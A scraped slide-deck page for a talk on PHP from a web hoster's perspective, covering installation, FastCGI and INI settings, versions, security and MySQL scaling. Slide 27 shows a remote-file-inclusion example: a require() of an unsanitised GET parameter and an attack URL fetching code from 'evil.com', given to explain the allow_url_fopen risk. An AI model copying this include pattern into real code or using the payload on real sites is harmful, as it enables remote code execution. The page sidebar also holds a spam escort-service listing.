Effizientere WordPress-Plugin-Entwicklung mit Softwaretests
Effizientere WordPress-Plugin-Entwicklung mit SoftwaretestsEffizientere WordPress-Plugin-Entwicklung mit Softwaretests
Effizientere WordPress-Plugin-Entwicklung mit Softwaretests
 
Is your code ready for PHP 7 ?
Is your code ready for PHP 7 ?Is your code ready for PHP 7 ?
Is your code ready for PHP 7 ?
 
PHP QA Tools
PHP QA ToolsPHP QA Tools
PHP QA Tools
 
Running php on nginx
Running php on nginxRunning php on nginx
Running php on nginx
 
Why we choose Symfony2
Why we choose Symfony2Why we choose Symfony2
Why we choose Symfony2
 
Running PHP on Nginx
Running PHP on NginxRunning PHP on Nginx
Running PHP on Nginx
 
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon YangPractical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
 
Comment améliorer le quotidien des Développeurs PHP ?
Comment améliorer le quotidien des Développeurs PHP ?Comment améliorer le quotidien des Développeurs PHP ?
Comment améliorer le quotidien des Développeurs PHP ?
 
Php extensions
Php extensionsPhp extensions
Php extensions
 
Art of Web Backdoor - Pichaya Morimoto
Art of Web Backdoor - Pichaya MorimotoArt of Web Backdoor - Pichaya Morimoto
Art of Web Backdoor - Pichaya Morimoto
 
Automatic testing and quality assurance for WordPress plugins and themes
Automatic testing and quality assurance for WordPress plugins and themesAutomatic testing and quality assurance for WordPress plugins and themes
Automatic testing and quality assurance for WordPress plugins and themes
 
Converting Your Dev Environment to a Docker Stack - Cascadia
Converting Your Dev Environment to a Docker Stack - CascadiaConverting Your Dev Environment to a Docker Stack - Cascadia
Converting Your Dev Environment to a Docker Stack - Cascadia
 
2013 - Dustin whittle - Escalando PHP en la vida real
2013 - Dustin whittle - Escalando PHP en la vida real2013 - Dustin whittle - Escalando PHP en la vida real
2013 - Dustin whittle - Escalando PHP en la vida real
 
Converting Your Dev Environment to a Docker Stack - php[world]
Converting Your Dev Environment to a Docker Stack - php[world]Converting Your Dev Environment to a Docker Stack - php[world]
Converting Your Dev Environment to a Docker Stack - php[world]
 

More from Combell NV

Play it extra safe! Kies een goede cyberverzekering
Play it extra safe! Kies een goede cyberverzekeringPlay it extra safe! Kies een goede cyberverzekering
Play it extra safe! Kies een goede cyberverzekering
Combell NV
 
Hoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van CombellHoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van Combell
Combell NV
 
Managed WordPress bij Combell – wat doet dat precies?
Managed WordPress bij Combell – wat doet dat precies?Managed WordPress bij Combell – wat doet dat precies?
Managed WordPress bij Combell – wat doet dat precies?
Combell NV
 
Back-ups: Hoe ze je kunnen redden van een cyberaanval
Back-ups: Hoe ze je kunnen redden van een cyberaanvalBack-ups: Hoe ze je kunnen redden van een cyberaanval
Back-ups: Hoe ze je kunnen redden van een cyberaanval
Combell NV
 
Cyberaanvallen: Overzicht, gevolgen en beveiligingstips
Cyberaanvallen: Overzicht, gevolgen en beveiligingstipsCyberaanvallen: Overzicht, gevolgen en beveiligingstips
Cyberaanvallen: Overzicht, gevolgen en beveiligingstips
Combell NV
 
Hoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van CombellHoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van Combell
Combell NV
 
Hoe laat je jouw website scoren in zoekmachines zoals Google
Hoe laat je jouw website scoren in zoekmachines zoals GoogleHoe laat je jouw website scoren in zoekmachines zoals Google
Hoe laat je jouw website scoren in zoekmachines zoals Google
Combell NV
 
Een webshop bouwen in WooCommerce – advanced sessie
Een webshop bouwen in WooCommerce – advanced sessieEen webshop bouwen in WooCommerce – advanced sessie
Een webshop bouwen in WooCommerce – advanced sessie
Combell NV
 
Hoe start je een webshop met WordPress / WooCommerce
Hoe start je een webshop met WordPress / WooCommerceHoe start je een webshop met WordPress / WooCommerce
Hoe start je een webshop met WordPress / WooCommerce
Combell NV
 
Keeping the cloud in check cvodmd
Keeping the cloud in check cvodmdKeeping the cloud in check cvodmd
Keeping the cloud in check cvodmd
Combell NV
 
Hybrid cloud wiskyweb2012
Hybrid cloud wiskyweb2012Hybrid cloud wiskyweb2012
Hybrid cloud wiskyweb2012
Combell NV
 
2012 03-27 developers e-commercedag presentatie5 ssl
2012 03-27 developers e-commercedag presentatie5 ssl2012 03-27 developers e-commercedag presentatie5 ssl
2012 03-27 developers e-commercedag presentatie5 ssl
Combell NV
 
2012 03-27 developers e-commercedag presentatie2 drupal
2012 03-27 developers e-commercedag presentatie2 drupal2012 03-27 developers e-commercedag presentatie2 drupal
2012 03-27 developers e-commercedag presentatie2 drupal
Combell NV
 
2012 03-27 developers e-commercedag presentatie1 magento
2012 03-27 developers e-commercedag presentatie1 magento2012 03-27 developers e-commercedag presentatie1 magento
2012 03-27 developers e-commercedag presentatie1 magento
Combell NV
 
2012 03-27 developers e-commercedag presentatie4 ogone
2012 03-27 developers e-commercedag presentatie4 ogone2012 03-27 developers e-commercedag presentatie4 ogone
2012 03-27 developers e-commercedag presentatie4 ogone
Combell NV
 
10 doe-het-zelf tips om aan e-commerce te doen
10 doe-het-zelf tips om aan e-commerce te doen10 doe-het-zelf tips om aan e-commerce te doen
10 doe-het-zelf tips om aan e-commerce te doen
Combell NV
 
Develop and deploy using Hybrid Cloud Strategies confoo2012
Develop and deploy using Hybrid Cloud Strategies confoo2012Develop and deploy using Hybrid Cloud Strategies confoo2012
Develop and deploy using Hybrid Cloud Strategies confoo2012
Combell NV
 
Hybrid Cloud PHPUK2012
Hybrid Cloud PHPUK2012Hybrid Cloud PHPUK2012
Hybrid Cloud PHPUK2012
Combell NV
 
2012 02-07 sql denali presentatie microsoft
2012 02-07 sql denali presentatie microsoft2012 02-07 sql denali presentatie microsoft
2012 02-07 sql denali presentatie microsoft
Combell NV
 
11 tips om in de Cloud te raken en er niet uit te vallen
11 tips om in de Cloud te raken en er niet uit te vallen11 tips om in de Cloud te raken en er niet uit te vallen
11 tips om in de Cloud te raken en er niet uit te vallen
Combell NV
 

More from Combell NV (20)

Play it extra safe! Kies een goede cyberverzekering
Play it extra safe! Kies een goede cyberverzekeringPlay it extra safe! Kies een goede cyberverzekering
Play it extra safe! Kies een goede cyberverzekering
 
Hoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van CombellHoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van Combell
 
Managed WordPress bij Combell – wat doet dat precies?
Managed WordPress bij Combell – wat doet dat precies?Managed WordPress bij Combell – wat doet dat precies?
Managed WordPress bij Combell – wat doet dat precies?
 
Back-ups: Hoe ze je kunnen redden van een cyberaanval
Back-ups: Hoe ze je kunnen redden van een cyberaanvalBack-ups: Hoe ze je kunnen redden van een cyberaanval
Back-ups: Hoe ze je kunnen redden van een cyberaanval
 
Cyberaanvallen: Overzicht, gevolgen en beveiligingstips
Cyberaanvallen: Overzicht, gevolgen en beveiligingstipsCyberaanvallen: Overzicht, gevolgen en beveiligingstips
Cyberaanvallen: Overzicht, gevolgen en beveiligingstips
 
Hoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van CombellHoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van Combell
 
Hoe laat je jouw website scoren in zoekmachines zoals Google
Hoe laat je jouw website scoren in zoekmachines zoals GoogleHoe laat je jouw website scoren in zoekmachines zoals Google
Hoe laat je jouw website scoren in zoekmachines zoals Google
 
Een webshop bouwen in WooCommerce – advanced sessie
Een webshop bouwen in WooCommerce – advanced sessieEen webshop bouwen in WooCommerce – advanced sessie
Een webshop bouwen in WooCommerce – advanced sessie
 
Hoe start je een webshop met WordPress / WooCommerce
Hoe start je een webshop met WordPress / WooCommerceHoe start je een webshop met WordPress / WooCommerce
Hoe start je een webshop met WordPress / WooCommerce
 
Keeping the cloud in check cvodmd
Keeping the cloud in check cvodmdKeeping the cloud in check cvodmd
Keeping the cloud in check cvodmd
 
Hybrid cloud wiskyweb2012
Hybrid cloud wiskyweb2012Hybrid cloud wiskyweb2012
Hybrid cloud wiskyweb2012
 
2012 03-27 developers e-commercedag presentatie5 ssl
2012 03-27 developers e-commercedag presentatie5 ssl2012 03-27 developers e-commercedag presentatie5 ssl
2012 03-27 developers e-commercedag presentatie5 ssl
 
2012 03-27 developers e-commercedag presentatie2 drupal
2012 03-27 developers e-commercedag presentatie2 drupal2012 03-27 developers e-commercedag presentatie2 drupal
2012 03-27 developers e-commercedag presentatie2 drupal
 
2012 03-27 developers e-commercedag presentatie1 magento
2012 03-27 developers e-commercedag presentatie1 magento2012 03-27 developers e-commercedag presentatie1 magento
2012 03-27 developers e-commercedag presentatie1 magento
 
2012 03-27 developers e-commercedag presentatie4 ogone
2012 03-27 developers e-commercedag presentatie4 ogone2012 03-27 developers e-commercedag presentatie4 ogone
2012 03-27 developers e-commercedag presentatie4 ogone
 
10 doe-het-zelf tips om aan e-commerce te doen
10 doe-het-zelf tips om aan e-commerce te doen10 doe-het-zelf tips om aan e-commerce te doen
10 doe-het-zelf tips om aan e-commerce te doen
 
Develop and deploy using Hybrid Cloud Strategies confoo2012
Develop and deploy using Hybrid Cloud Strategies confoo2012Develop and deploy using Hybrid Cloud Strategies confoo2012
Develop and deploy using Hybrid Cloud Strategies confoo2012
 
Hybrid Cloud PHPUK2012
Hybrid Cloud PHPUK2012Hybrid Cloud PHPUK2012
Hybrid Cloud PHPUK2012
 
2012 02-07 sql denali presentatie microsoft
2012 02-07 sql denali presentatie microsoft2012 02-07 sql denali presentatie microsoft
2012 02-07 sql denali presentatie microsoft
 
11 tips om in de Cloud te raken en er niet uit te vallen
11 tips om in de Cloud te raken en er niet uit te vallen11 tips om in de Cloud te raken en er niet uit te vallen
11 tips om in de Cloud te raken en er niet uit te vallen
 

Recently uploaded

Finetuning GenAI For Hacking and Defending
Finetuning GenAI For Hacking and DefendingFinetuning GenAI For Hacking and Defending
Finetuning GenAI For Hacking and Defending
Priyanka Aash
 
Retrieval Augmented Generation Evaluation with Ragas
Retrieval Augmented Generation Evaluation with RagasRetrieval Augmented Generation Evaluation with Ragas
Retrieval Augmented Generation Evaluation with Ragas
Zilliz
 
Acumatica vs. Sage Intacct _Construction_July (1).pptx
Acumatica vs. Sage Intacct _Construction_July (1).pptxAcumatica vs. Sage Intacct _Construction_July (1).pptx
Acumatica vs. Sage Intacct _Construction_July (1).pptx
BrainSell Technologies
 
The Path to General-Purpose Robots - Coatue
The Path to General-Purpose Robots - CoatueThe Path to General-Purpose Robots - Coatue
The Path to General-Purpose Robots - Coatue
Razin Mustafiz
 
Garbage In, Garbage Out: Why poor data curation is killing your AI models (an...
Garbage In, Garbage Out: Why poor data curation is killing your AI models (an...Garbage In, Garbage Out: Why poor data curation is killing your AI models (an...
Garbage In, Garbage Out: Why poor data curation is killing your AI models (an...
Zilliz
 
Improving Learning Content Efficiency with Reusable Learning Content
Improving Learning Content Efficiency with Reusable Learning ContentImproving Learning Content Efficiency with Reusable Learning Content
Improving Learning Content Efficiency with Reusable Learning Content
Enterprise Knowledge
 
Zaitechno Handheld Raman Spectrometer.pdf
Zaitechno Handheld Raman Spectrometer.pdfZaitechno Handheld Raman Spectrometer.pdf
Zaitechno Handheld Raman Spectrometer.pdf
AmandaCheung15
 
Semantic-Aware Code Model: Elevating the Future of Software Development
Semantic-Aware Code Model: Elevating the Future of Software DevelopmentSemantic-Aware Code Model: Elevating the Future of Software Development
Semantic-Aware Code Model: Elevating the Future of Software Development
Baishakhi Ray
 
UX Webinar Series: Drive Revenue and Decrease Costs with Passkeys for Consume...
UX Webinar Series: Drive Revenue and Decrease Costs with Passkeys for Consume...UX Webinar Series: Drive Revenue and Decrease Costs with Passkeys for Consume...
UX Webinar Series: Drive Revenue and Decrease Costs with Passkeys for Consume...
FIDO Alliance
 
The History of Embeddings & Multimodal Embeddings
The History of Embeddings & Multimodal EmbeddingsThe History of Embeddings & Multimodal Embeddings
The History of Embeddings & Multimodal Embeddings
Zilliz
 
Computer HARDWARE presenattion by CWD students class 10
Computer HARDWARE presenattion by CWD students class 10Computer HARDWARE presenattion by CWD students class 10
Computer HARDWARE presenattion by CWD students class 10
ankush9927
 
Premium Girls Call Mumbai 9920725232 Unlimited Short Providing Girls Service ...
Premium Girls Call Mumbai 9920725232 Unlimited Short Providing Girls Service ...Premium Girls Call Mumbai 9920725232 Unlimited Short Providing Girls Service ...
Premium Girls Call Mumbai 9920725232 Unlimited Short Providing Girls Service ...
shanihomely
 
EuroPython 2024 - Streamlining Testing in a Large Python Codebase
EuroPython 2024 - Streamlining Testing in a Large Python CodebaseEuroPython 2024 - Streamlining Testing in a Large Python Codebase
EuroPython 2024 - Streamlining Testing in a Large Python Codebase
Jimmy Lai
 
Tailored CRM Software Development for Enhanced Customer Insights
Tailored CRM Software Development for Enhanced Customer InsightsTailored CRM Software Development for Enhanced Customer Insights
Tailored CRM Software Development for Enhanced Customer Insights
SynapseIndia
 
Intel Unveils Core Ultra 200V Lunar chip .pdf
Intel Unveils Core Ultra 200V Lunar chip .pdfIntel Unveils Core Ultra 200V Lunar chip .pdf
Intel Unveils Core Ultra 200V Lunar chip .pdf
Tech Guru
 
Mastering OnlyFans Clone App Development: Key Strategies for Success
Mastering OnlyFans Clone App Development: Key Strategies for SuccessMastering OnlyFans Clone App Development: Key Strategies for Success
Mastering OnlyFans Clone App Development: Key Strategies for Success
David Wilson
 
COVID-19 and the Level of Cloud Computing Adoption: A Study of Sri Lankan Inf...
COVID-19 and the Level of Cloud Computing Adoption: A Study of Sri Lankan Inf...COVID-19 and the Level of Cloud Computing Adoption: A Study of Sri Lankan Inf...
COVID-19 and the Level of Cloud Computing Adoption: A Study of Sri Lankan Inf...
AimanAthambawa1
 
Redefining Cybersecurity with AI Capabilities
Redefining Cybersecurity with AI CapabilitiesRedefining Cybersecurity with AI Capabilities
Redefining Cybersecurity with AI Capabilities
Priyanka Aash
 
Generative AI Reasoning Tech Talk - July 2024
Generative AI Reasoning Tech Talk - July 2024Generative AI Reasoning Tech Talk - July 2024
Generative AI Reasoning Tech Talk - July 2024
siddu769252
 
What's New in Teams Calling, Meetings, Devices June 2024
What's New in Teams Calling, Meetings, Devices June 2024What's New in Teams Calling, Meetings, Devices June 2024
What's New in Teams Calling, Meetings, Devices June 2024
Stephanie Beckett
 

Recently uploaded (20)

Finetuning GenAI For Hacking and Defending
Finetuning GenAI For Hacking and DefendingFinetuning GenAI For Hacking and Defending
Finetuning GenAI For Hacking and Defending
 
Retrieval Augmented Generation Evaluation with Ragas
Retrieval Augmented Generation Evaluation with RagasRetrieval Augmented Generation Evaluation with Ragas
Retrieval Augmented Generation Evaluation with Ragas
 
Acumatica vs. Sage Intacct _Construction_July (1).pptx
Acumatica vs. Sage Intacct _Construction_July (1).pptxAcumatica vs. Sage Intacct _Construction_July (1).pptx
Acumatica vs. Sage Intacct _Construction_July (1).pptx
 
The Path to General-Purpose Robots - Coatue
The Path to General-Purpose Robots - CoatueThe Path to General-Purpose Robots - Coatue
The Path to General-Purpose Robots - Coatue
 
Garbage In, Garbage Out: Why poor data curation is killing your AI models (an...
Garbage In, Garbage Out: Why poor data curation is killing your AI models (an...Garbage In, Garbage Out: Why poor data curation is killing your AI models (an...
Garbage In, Garbage Out: Why poor data curation is killing your AI models (an...
 
Improving Learning Content Efficiency with Reusable Learning Content
Improving Learning Content Efficiency with Reusable Learning ContentImproving Learning Content Efficiency with Reusable Learning Content
Improving Learning Content Efficiency with Reusable Learning Content
 
Zaitechno Handheld Raman Spectrometer.pdf
Zaitechno Handheld Raman Spectrometer.pdfZaitechno Handheld Raman Spectrometer.pdf
Zaitechno Handheld Raman Spectrometer.pdf
 
Semantic-Aware Code Model: Elevating the Future of Software Development
Semantic-Aware Code Model: Elevating the Future of Software DevelopmentSemantic-Aware Code Model: Elevating the Future of Software Development
Semantic-Aware Code Model: Elevating the Future of Software Development
 
UX Webinar Series: Drive Revenue and Decrease Costs with Passkeys for Consume...
UX Webinar Series: Drive Revenue and Decrease Costs with Passkeys for Consume...UX Webinar Series: Drive Revenue and Decrease Costs with Passkeys for Consume...
UX Webinar Series: Drive Revenue and Decrease Costs with Passkeys for Consume...
 
The History of Embeddings & Multimodal Embeddings
The History of Embeddings & Multimodal EmbeddingsThe History of Embeddings & Multimodal Embeddings
The History of Embeddings & Multimodal Embeddings
 
Computer HARDWARE presenattion by CWD students class 10
Computer HARDWARE presenattion by CWD students class 10Computer HARDWARE presenattion by CWD students class 10
Computer HARDWARE presenattion by CWD students class 10
 
Premium Girls Call Mumbai 9920725232 Unlimited Short Providing Girls Service ...
Premium Girls Call Mumbai 9920725232 Unlimited Short Providing Girls Service ...Premium Girls Call Mumbai 9920725232 Unlimited Short Providing Girls Service ...
Premium Girls Call Mumbai 9920725232 Unlimited Short Providing Girls Service ...
 
EuroPython 2024 - Streamlining Testing in a Large Python Codebase
EuroPython 2024 - Streamlining Testing in a Large Python CodebaseEuroPython 2024 - Streamlining Testing in a Large Python Codebase
EuroPython 2024 - Streamlining Testing in a Large Python Codebase
 
Tailored CRM Software Development for Enhanced Customer Insights
Tailored CRM Software Development for Enhanced Customer InsightsTailored CRM Software Development for Enhanced Customer Insights
Tailored CRM Software Development for Enhanced Customer Insights
 
Intel Unveils Core Ultra 200V Lunar chip .pdf
Intel Unveils Core Ultra 200V Lunar chip .pdfIntel Unveils Core Ultra 200V Lunar chip .pdf
Intel Unveils Core Ultra 200V Lunar chip .pdf
 
Mastering OnlyFans Clone App Development: Key Strategies for Success
Mastering OnlyFans Clone App Development: Key Strategies for SuccessMastering OnlyFans Clone App Development: Key Strategies for Success
Mastering OnlyFans Clone App Development: Key Strategies for Success
 
COVID-19 and the Level of Cloud Computing Adoption: A Study of Sri Lankan Inf...
COVID-19 and the Level of Cloud Computing Adoption: A Study of Sri Lankan Inf...COVID-19 and the Level of Cloud Computing Adoption: A Study of Sri Lankan Inf...
COVID-19 and the Level of Cloud Computing Adoption: A Study of Sri Lankan Inf...
 
Redefining Cybersecurity with AI Capabilities
Redefining Cybersecurity with AI CapabilitiesRedefining Cybersecurity with AI Capabilities
Redefining Cybersecurity with AI Capabilities
 
Generative AI Reasoning Tech Talk - July 2024
Generative AI Reasoning Tech Talk - July 2024Generative AI Reasoning Tech Talk - July 2024
Generative AI Reasoning Tech Talk - July 2024
 
What's New in Teams Calling, Meetings, Devices June 2024
What's New in Teams Calling, Meetings, Devices June 2024What's New in Teams Calling, Meetings, Devices June 2024
What's New in Teams Calling, Meetings, Devices June 2024
 

Php through the eyes of a hoster

  • 1. PHP  through  the  eyes  of  a  hoster Thijs  Feryn Support  manager +32  (0)9  218  79  06 thijs@combellgroup.com
  • 2. About  me I’m  the  support  manager  at  Combell
  • 3. About  me I’m  a  board  member  at  PHPBenelux
  • 5. I  live  in  the  wonderful  city  of  Bruges MPBecker  -­‐  Bruges  by  Night  hKp://www.flickr.com/photos/galverson2/3715965933
  • 6. Follow  me  on  TwiKer:  @ThijsFeryn Rate  my  talk:  hKp://joind.in/1541 Read  my  blog:  hKp://blog.feryn.eu
  • 9. Chapter  I  :  The  hoster,  a  genuine  stakeholder  in  the   PHP  universe
  • 10. Stakeholders Customer Development  company Endusers MGMT Devs MGMT Design PM Internal Internal IT PM Sales QA Systeam Consultants Hoster PHP  community
  • 11. Stakeholders Somewhere  along  the  road  ... Your  app  needs  to  be  hosted
  • 12. Goals  &  mo]ves Our  goals  &  mo=ves  are  the  same  as  yours: • It  has  to  work • It  has  to  perform • It  has  to  scale • It  has  to  be  secure • It  has  to  be  available
  • 16. Chapter  II:  Installa]on  &  configura]on
  • 17. Installing  from  source server$  ./configure  -­‐-­‐prefix=/usr/local/php-­‐5.2.10   -­‐-­‐with-­‐apxs2=/usr/local/httpd-­‐2.2.12/bin/apxs  -­‐-­‐ with-­‐zlib  -­‐-­‐with-­‐curl  -­‐-­‐with-­‐gd  -­‐-­‐enable-­‐mbstring   -­‐-­‐with-­‐mysql  -­‐-­‐with-­‐mysqli  -­‐-­‐enable-­‐pcntl  -­‐-­‐with-­‐ pdo-­‐mysql  -­‐-­‐with-­‐readline  -­‐-­‐enable-­‐soap  -­‐-­‐with-­‐xsl   -­‐-­‐with-­‐mcrypt  -­‐-­‐with-­‐mssql  -­‐-­‐with-­‐snmp  -­‐-­‐with-­‐imap   -­‐-­‐with-­‐kerberos  -­‐-­‐with-­‐imap-­‐ssl  -­‐-­‐with-­‐config-­‐ file-­‐path=/etc/php5/  -­‐-­‐enable-­‐sockets  -­‐-­‐with-­‐ freetype-­‐dir  -­‐-­‐with-­‐openssl   server$  make server$  make  install
  • 18. Installing  using  a  package  manager  (APT/Ap]tude) Install  PHP: server$  apt-­‐get  install  php5 Install  MySQL  library  for  PHP: server$  apt-­‐get  install  php5-­‐mysql
  • 19. SAPI  ...  schmapi Mod_php FastCGI CLI Web Apache  module gateway -­‐ Process Apache  process php-­‐cgi php Configura=on Apache  conf  files wrapper on  the  fly shell  user  or   User Apache  user shell  user suexec  user
  • 20. FastCGI Example  config: • Apache  handler    <IfModule  mod_fcgid.c>        SuexecUserGroup  dev  dev        PHP_Fix_Pathinfo_Enable  1        <Directory  /var/www/dev/www/>            Options  +ExecCGI            AllowOverride  All            AddHandler  fcgid-­‐script  .php            FCGIWrapper  /var/www/dev/etc/fcgi.wrapper  .php            Order  allow,deny            Allow  from  all        </Directory>    </IfModule>
  • 21. FastCGI Example  config: • Wrapper  script #!/bin/sh PHPRC=/usr/local/php-­‐5.3.1/etc export  PHPRC export  PHP_FCGI_MAX_REQUESTS=5000 export  PHP_FCGI_CHILDREN=8 exec  /usr/local/php-­‐5.3.1/bin/php-­‐cgi
  • 22. INI  se`ngs:  tales  of  good  &  evil
  • 23. INI  se`ngs:  tales  of  good  &  evil Defining  INI  seRngs: • Php.ini • Ini_set() • “-­‐d”   • php_value • php_flag • php_admin_value • php_admin_flag
  • 24. INI  se`ngs:  tales  of  good  &  evil Memory_limit: Fatal  error:  Allowed  memory  size  of  16777216   bytes  exhausted  (tried  to  allocate  35  bytes)
  • 26. INI  se`ngs:  tales  of  good  &  evil Safe_mode  &  Open_basedir: <IfModule  mod_php5.c>        php_admin_flag  engine  on        php_admin_flag  safe_mode  off        php_admin_value  open_basedir  "/var/www/vhosts/ website.com/httpdocs:/tmp" </IfModule>
  • 27. INI  se`ngs:  tales  of  good  &  evil Allow_url_fopen: <?php $lang= $_GET['lang']; require("$lang.php"); http://domain.ext/index.php?lang=http://evil.com/hack.txt?
  • 28. Chapter  III:  Versions  &  features
  • 29. PHP  4:  End  of  life,  but  far  from  dead
  • 30. PHP  4:  End  of  life,  but  far  from  dead Parse  error:  syntax  error,  unexpected  T_STRING,   expecting  T_OLD_FUNCTION  or  T_FUNCTION  or  T_VAR   or  '}'  in  test.php  on  line  4
  • 32. It  HAS  to  be  PHP  5.3.2  !!!
  • 33. I  need  ALL  PHP  extension  !!!
  • 34. I  use  ALL  PHP  features  !!!
  • 35. Fruit  &  vegetables:  PEAR  &  PECL
  • 36. Fruit  &  vegetables:  PEAR  &  PECL PEAR PHP  Extension  and  Applica=on  Repository  (h#p//pear.php.net) server$  lynx  -­‐source  http://pear.php.net/go-­‐pear  |  php server$  pear  install  date
  • 37. Fruit  &  vegetables:  PEAR  &  PECL PECL  (pickle) PHP  Extension  Community  Library  (h#p//pecl.php.net) server$  pecl  install  pecl_http
  • 38. External  frameworks Popular  frameworks  outside  the  PHP  project
  • 39. Chapter  IV:  PHP  aKracts  a  crowd
  • 41. That  easy  ! <?php echo "Hello world!";
  • 44. Everyone  can  be  a  PHP  developer
  • 45. But  not  everyone  has  what  it  takes
  • 46. Luckily  there’s  a  lot  ready-­‐to-­‐use  PHP  so_ware  out  there
  • 47. Who  you  gonna  call  ?
  • 48. But  when  helpers  need  help  ...
  • 49. They  reach  out  to  the  PHP  community User  Group  mee=ngs Twiaer Blogs Forums PHP.net IRC Conferences
  • 50. Chapter  V:  Here  be  phpirates
  • 52. Fact “The  majority  of  hacking/absue  cases  are  PHP  related”
  • 53. False  assump]ons “Open  source  is  evil” “PHP  has  lots  of  security  vulnerabili=es  and  is  not  mature”
  • 54. Here  be  phpirates The  real  issues • Quality  of  the  code • Network  &  server  security • PHP  version  &  configura=on
  • 58. Scalability  ==  constant  speed  under  increasing  load
  • 63. mysql>  explain  SELECT  field1,  (SELECT  COUNT(*)  FROM  table2  WHERE  field3  =   table1.id)  FROM  table1  WHERE  field2  =  1    ORDER  BY  field4  DESC  limit   12,12; ***************************  1.  row  ***************************                      id:  1    select_type:  PRIMARY                table:  table1                  type:  ALL possible_keys:  approved                    key:  approved            key_len:  NULL                    ref:  NULL                  rows:  3143                Extra:  Using  where;  Using  filesort ***************************  2.  row  ***************************                      id:  2    select_type:  DEPENDENT  SUBQUERY                table:  table2                  type:  ALL possible_keys:  NULL                    key:  NULL            key_len:  NULL                    ref:  NULL                  rows:  1005                Extra:  Using  where
  • 64. mysql>  show  processlist; +-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐ +-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+ |  Id        |  User  |  Host            |  db  |  Command  |  Time  |  State                                |  Info         | +-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐ +-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+ |  63515  |  root  |  localhost  |  db  |  Query      |        0  |  NULL                                  |  show   processlist                                                                | |  81763  |  root  |  localhost  |  db  |  Sleep      |    105  |                                            |  NULL         | |  85187  |  root  |  localhost  |  db  |  Query      |        0  |  Sending  data                  |  SELECT   data  from  someTable  where  field  =  'val'    | |  82701  |  root  |  localhost  |  db  |  Query      |        0  |  Copying  to  tmp  table  |  SELECT   data  from  someTable  where  field='val2'      | |  82709  |  root  |  localhost  |  db  |  Query      |        0  |  Sorting  result              |  SELECT   data  from  someTable  where  order  by  field  | |  82716  |  root  |  localhost  |  db  |  Query      |        0  |  Opening  tables              |  SELECT   data  from  someOtherTable                                  | +-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐ +-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+
  • 65. Scaling  MySQL  with  replica]on
  • 72. Summary 1.Hosters  are  a  genuine  stakeholder  in  the  PHP  universe 2.PHP  is  highly  flexible  &  configurable.  Hosters  have  to  ensure  a  decent   setup 3.PHP  has  a  lot  to  offer  feature-­‐wise 4.PHP  aDracts  a  crowd  and  brings  a  lot  of  people  together  from   different  industries  (e.g.  hosters) 5.Lots  of  abuse  cases  are  PHP  related,  but  that’s  not  the  fault  of  PHP   itself 6.PHP  itself  doesn’t  scale  *that*  well,  but  is  flexible  enough  to  ensure   scalability  via  extra  tools
  • 73. Q&A